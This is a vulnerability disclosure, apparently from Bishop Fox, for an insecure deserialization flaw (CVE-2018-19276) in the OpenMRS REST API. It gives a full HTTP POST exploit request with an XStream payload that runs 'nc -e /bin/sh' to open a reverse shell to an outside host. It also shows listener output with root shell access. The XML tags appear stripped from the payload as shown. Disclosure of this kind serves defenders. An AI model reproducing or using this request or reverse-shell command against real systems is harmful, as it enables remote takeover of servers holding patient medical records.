OpenMRS Platform < 2.24.0 - Insecure Object Deserialization

Bishop Fox 2019-02-05 webapps java
Insecure Object Deserialization on the OpenMRS Platform
Vulnerability Details
CVE ID: CVE-2018-19276

Access Vector: Remote

Security Risk: Critical

Vulnerability: CWE-502

CVSS Base Score: 10.0 

CVSS vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

JAVA 8 ENVIRONMENT
By injecting an XML payload in the following body request to the REST API provided by the application, an attacker could execute arbitrary commands on the remote system. The request below could be used to exploit the vulnerability:


POST /openmrs/ws/rest/v1/xxxxxx HTTP/1.1
Host: HOST
Content-Type: text/xml


 
   
     0
     
       
         
           
             
               false
               0
               
                 
                   
                   
                     
                       /bin/sh
                       -c
                       nc -e /bin/sh 172.16.32.3 8000
                     
                     false
                   
                 
                 
                   
                     java.lang.ProcessBuilder
                     start
                     
                   
                   foo
                 
                 foo
               
               
             
             
             
             false
             0
             0
             false
           
           false
         
         
       
       0
     
   
   
 
 
   
   
 

The payload above was generated with the marshalsec tool and adapted to use multiple arguments because the original payload would not work well if the attacker need to send several arguments to a Linux host.. After the payload was sent, the handler successfully received a response:

~ » nc -vlp 8000
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: 5DE4 9A26 3868 367D 8104 B043 CE14 BAD6 5CC9 DE51
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000
Ncat: Connection from 172.16.32.2.
Ncat: Connection from 172.16.32.2:52434.
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/usr/local/tomcat


The response should contain an error message similar to the one below:


{"error":{"message":"[Could not read [class org.openmrs.module.webservices.rest.SimpleObject]; nested exception is org.springframework.oxm.UnmarshallingFailureException: XStream unmarshalling exception; nested exception is com.thoughtworks.xstream.converters.ConversionException: java.lang.String cannot be cast to java.security.Provider$Service
…omitted for brevity…


The response above showed that the REST Web Services module was unable to process the request properly. However, the payload was deserialized before it is caught by the exception handler, which allowed the team to gain shell access.